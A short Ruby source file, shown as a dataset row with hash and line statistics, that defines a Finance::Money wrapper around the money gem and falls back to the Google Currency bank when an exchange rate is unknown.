0845ae9d39fe19e706f4bdb0b69b8ee269891e2a | 614 | require 'money'
require 'money/bank/google_currency'
module Finance
class Money
def initialize(money, currency = nil)
@money = money.is_a?(Money) ? money : ::Money.new(money, currency)
exchange(currency) if currency
end
def exchange(currency)
return if @money.currency == currency
@money = @money.exchange_to(currency)
rescue ::Money::Bank::UnknownRate
self.class.setup
@money = ::Money.new(@money.fractional, @money.currency).exchange_to(currency)
end
def self.setup
::Money.default_bank = ::Money::Bank::GoogleCurrency.new
end
end
end
| 25.583333 | 84 | 0.672638 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.